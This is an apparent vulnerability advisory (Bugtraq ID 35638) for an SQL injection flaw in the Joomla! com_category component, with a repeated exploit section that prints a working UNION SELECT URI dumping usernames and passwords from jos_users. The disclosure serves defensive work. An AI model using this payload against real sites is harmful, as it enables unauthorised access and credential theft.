Joomla! 'com_category' Component SQL Injection Vulnerability
BID:35638
Info
Joomla! 'com_category' Component SQL Injection Vulnerability
| Bugtraq ID: | 35638 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jul 11 2009 12:00AM |
| Updated: | Jul 13 2009 07:06PM |
| Credit: | Prince_Pwn3r |
| Vulnerable: |
com_category com_category 0 |
| Not Vulnerable: | |
Discussion
Joomla! 'com_category' Component SQL Injection Vulnerability
The 'com_category' component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
The 'com_category' component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Exploit / POC
Joomla! 'com_category' Component SQL Injection Vulnerability
Attackers can use a browser to exploit this issue.
The following example URI is available:
http://www.example.com/index.php?option=com_category&task=loadCategory&catid*=-9999+UNION+SELECT+1,2,group_concat(username,0x3a,password),4,5+from+jos_users--
Attackers can use a browser to exploit this issue.
The following example URI is available:
http://www.example.com/index.php?option=com_category&task=loadCategory&catid*=-9999+UNION+SELECT+1,2,group_concat(username,0x3a,password),4,5+from+jos_users--
Solution / Fix
Joomla! 'com_category' Component SQL Injection Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].